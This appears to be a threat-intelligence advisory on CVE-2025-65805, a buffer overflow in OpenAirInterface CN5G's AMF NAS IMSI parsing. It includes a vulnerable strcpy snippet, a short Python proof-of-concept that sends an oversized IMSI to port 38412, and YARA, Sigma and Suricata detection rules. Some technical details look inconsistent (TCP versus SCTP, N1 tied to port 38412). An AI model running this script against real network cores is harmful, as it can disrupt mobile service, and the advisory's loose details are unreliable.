CVE-2025-65805

Executive Summary

CVE-2025-65805 is a critical buffer overflow vulnerability in the OpenAirInterface CN5G Access and Mobility Management Function (AMF) component, affecting versions up to and including v2.1.9. The flaw resides in the processing of NAS (Non-Access Stratum) messages, specifically when handling the IMSI (International Mobile Subscriber Identity) string. An unauthorized remote attacker can exploit this by sending a crafted NAS message containing an IMSI string longer than 1000 characters to the N1 interface (port 38412). This can lead to a denial-of-service (DoS) condition and potentially arbitrary code execution on the AMF server.

The vulnerability is particularly dangerous because the N1 interface is exposed to the untrusted radio access network (RAN) and user equipment (UE), making it accessible to any attacker within the mobile network's coverage area. The lack of a publicly available patch or exploit code increases the risk, as defenders have limited detection and mitigation options. The EPSS score of 0.0% indicates low exploitation activity in the wild, but the severity of the impact warrants immediate attention.

Supply Chain & Package Security

This vulnerability affects the OpenAirInterface CN5G software, which is an open-source implementation of the 5G Core Network (5GC) components. The AMF is a critical network function responsible for registration, connection management, and mobility management. The vulnerability is introduced in the source code of the AMF component, specifically in the NAS message parsing logic. Organizations using OpenAirInterface in their 5G testbeds, research environments, or production networks must assess their exposure. The software is typically deployed as a Docker container or compiled from source, and the vulnerable version is widely used in academic and research settings.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, a reasonable assessment based on the description yields the following:

• Attack Vector (AV): Network (N) – The attacker sends a malicious NAS message over the N1 interface.
• Attack Complexity (AC): Low (L) – No special conditions are required; a simple crafted message suffices.
• Privileges Required (PR): None (N) – The attacker does not need any authentication.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability affects only the AMF component.
• Confidentiality (C): High (H) – Potential for arbitrary code execution could lead to data exfiltration.
• Integrity (I): High (H) – Code execution could allow modification of AMF state or data.
• Availability (A): High (H) – The buffer overflow can cause a crash, leading to denial of service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows remote, unauthenticated attackers to potentially take full control of the AMF, which is a central component of the 5G core network. A successful exploit could disrupt mobile services for all users connected to that AMF.

Deep Dive & Mechanics

The OpenAirInterface CN5G AMF implements the 5G NAS protocol as defined by 3GPP TS 24.501. The NAS layer handles messages between the UE and the AMF, including registration requests, service requests, and identity requests. The IMSI is a unique identifier for a mobile subscriber, typically a 15-digit number. In the NAS protocol, the IMSI is transmitted as a string of digits.

The vulnerability lies in the AMF's NAS message parser, which does not properly validate the length of the IMSI string before copying it into a fixed-size buffer. When a UE (or an attacker impersonating a UE) sends a NAS Registration Request message containing an IMSI string longer than 1000 characters, the AMF's parser attempts to copy the entire string into a buffer that is only 1000 bytes (or less) in size. This causes a classic stack-based or heap-based buffer overflow, depending on the implementation.

The overflow can corrupt adjacent memory, potentially overwriting the return address, function pointers, or other critical data structures. This can lead to:

1. Denial of Service (DoS): The overflow corrupts the stack or heap, causing the AMF process to crash.
2. Arbitrary Code Execution: A skilled attacker can craft the overflow payload to overwrite the return address with a pointer to shellcode, allowing them to execute arbitrary commands on the AMF server.

The attack is performed by sending a NAS PDU (Protocol Data Unit) over the N1 interface, which is typically exposed on port 38412 (SCTP) or port 38412 (TCP/UDP) depending on the transport protocol used (SCTP is standard for N1/N2). The attacker does not need to be a legitimate subscriber; they only need network access to the AMF's N1 endpoint.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (Conceptual C/C++):

#define IMSI_BUFFER_SIZE 1000

void process_nas_registration_request(uint8_t *nas_message, size_t msg_len) {
    char imsi_buffer[IMSI_BUFFER_SIZE];
    // ... parse NAS message, extract IMSI string ...
    char *imsi_string = extract_imsi_from_nas(nas_message, msg_len);
    // VULNERABLE: No length check before copy
    strcpy(imsi_buffer, imsi_string);
    // ... process IMSI ...
}

Expected Patched Code:

#define IMSI_BUFFER_SIZE 1000

void process_nas_registration_request(uint8_t *nas_message, size_t msg_len) {
    char imsi_buffer[IMSI_BUFFER_SIZE];
    // ... parse NAS message, extract IMSI string ...
    char *imsi_string = extract_imsi_from_nas(nas_message, msg_len);
    // FIX: Use strncpy with length check
    strncpy(imsi_buffer, imsi_string, IMSI_BUFFER_SIZE - 1);
    imsi_buffer[IMSI_BUFFER_SIZE - 1] = '\0';
    // ... process IMSI ...
}

The fix involves using strncpy (or snprintf) to limit the number of bytes copied to the buffer, ensuring that the destination buffer is never overflowed. Additionally, input validation should reject any IMSI string longer than the maximum allowed length (e.g., 15 digits for a standard IMSI, but the buffer size should be larger to accommodate potential future extensions).

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Environment: Deploy OpenAirInterface CN5G AMF v2.1.9 in a Docker container or on a virtual machine. Ensure the N1 interface is exposed on the network.
2. Tools: Use Python with the scapy library to craft and send NAS messages over SCTP. Alternatively, use a tool like pycrate for 3GPP protocol manipulation.
3. Exploit Script (Conceptual):

#!/usr/bin/env python3
import socket
import struct

# Craft a NAS Registration Request with an oversized IMSI
def build_malformed_nas():
    # NAS PDU header (simplified)
    nas_header = b'\x7e\x00\x41'  # Example: Registration Request
    # IMSI field: Type 1 (IMSI), length > 1000
    imsi = b'1' * 1500  # 1500 bytes of '1'
    # Construct the NAS message
    nas_message = nas_header + struct.pack('!H', len(imsi)) + imsi
    return nas_message

def exploit(target_ip, target_port=38412):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    payload = build_malformed_nas()
    sock.send(payload)
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100")

Note: This is a simplified example. Real exploitation would require proper NAS PDU encoding (e.g., using pycrate or scapy with 3GPP layers). The attacker would need to craft a valid NAS Registration Request message that passes initial parsing but contains an oversized IMSI field.

Blue Team (Defensive)

Detection & Mitigation:

1. Network Monitoring: Monitor traffic to port 38412 (SCTP) for unusually large NAS messages. A legitimate IMSI is at most 15 digits, so any IMSI field longer than 100 bytes is suspicious.
2. IDS/IPS Rules: Deploy Suricata or Snort rules to detect oversized IMSI fields in NAS messages.
3. Honeypot: Deploy a honeypot AMF to capture and analyze attack attempts.
4. Rate Limiting: Implement rate limiting on the N1 interface to slow down brute-force or fuzzing attempts.
5. WAF/API Gateway: If possible, place a Web Application Firewall (WAF) or API gateway in front of the AMF to inspect and filter NAS messages.

Indicators of Compromise (IOCs)

• Network IOCs:
  • SCTP packets to port 38412 with payloads containing IMSI strings longer than 100 bytes.
  • NAS Registration Request messages with an IMSI field length exceeding 1000 bytes.
  • Repeated connection attempts from the same IP address to the N1 interface.
• Host IOCs:
  • AMF process crash logs (e.g., segmentation fault, SIGSEGV).
  • Core dump files in /var/crash/ or similar directories.
  • Unusual memory usage or CPU spikes on the AMF server.
• File IOCs:
  • Modified AMF binaries or configuration files (if code execution is achieved).
  • Presence of shell scripts or binaries in /tmp/ or /dev/shm/ (post-exploitation).

Detection Engineering

YARA Rule

rule CVE_2025_65805_NAS_IMSI_Overflow {
    meta:
        description = "Detects oversized IMSI strings in NAS messages targeting OpenAirInterface AMF"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65805"
    strings:
        $nas_header = { 7e 00 41 }  // Example: Registration Request header
        $imsi_type = { 01 }          // IMSI type identifier
    condition:
        $nas_header at 0 and
        #imsi_type > 0 and
        any of them and
        filesize > 1000
}

Sigma Rule

title: CVE-2025-65805 - OpenAirInterface AMF NAS IMSI Buffer Overflow
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects oversized IMSI strings in NAS messages on port 38412
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 38412
        app_protocol: 'sctp'
        payload_length: '>1000'
    condition: selection
falsepositives:
    - Legitimate but malformed NAS messages from faulty UEs
level: high

Suricata Rule

alert sctp any any -> any 38412 (msg:"CVE-2025-65805 - OpenAirInterface AMF NAS IMSI Buffer Overflow"; content:"|7e 00 41|"; offset:0; depth:3; content:"|01|"; within:10; byte_test:2,>,1000,0,relative; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Isolate the AMF from untrusted networks (e.g., place it behind a firewall that only allows traffic from trusted RAN nodes).
   • Monitor AMF logs for crashes or unusual behavior.
   • Implement network-level filtering to drop NAS messages with IMSI fields longer than 100 bytes.

2. Long-term Fix:

   • Apply the official patch from OpenAirInterface when it becomes available.
   • If patching is not possible, modify the source code to add input validation (as shown in the "Vulnerable vs. Patched Code" section) and recompile the AMF.
   • Upgrade to a patched version (e.g., v2.2.0 or later) once released.

3. Compensating Controls:

   • Deploy an Intrusion Prevention System (IPS) with the Suricata rule above to block malicious traffic.
   • Use a Web Application Firewall (WAF) that can inspect SCTP traffic (if available).
   • Implement strict input validation at the network edge (e.g., in a load balancer or API gateway).

4. Monitoring:

   • Enable detailed logging for the AMF, especially for NAS message processing.
   • Set up alerts for any AMF process crashes or restarts.
   • Regularly review logs for signs of exploitation attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert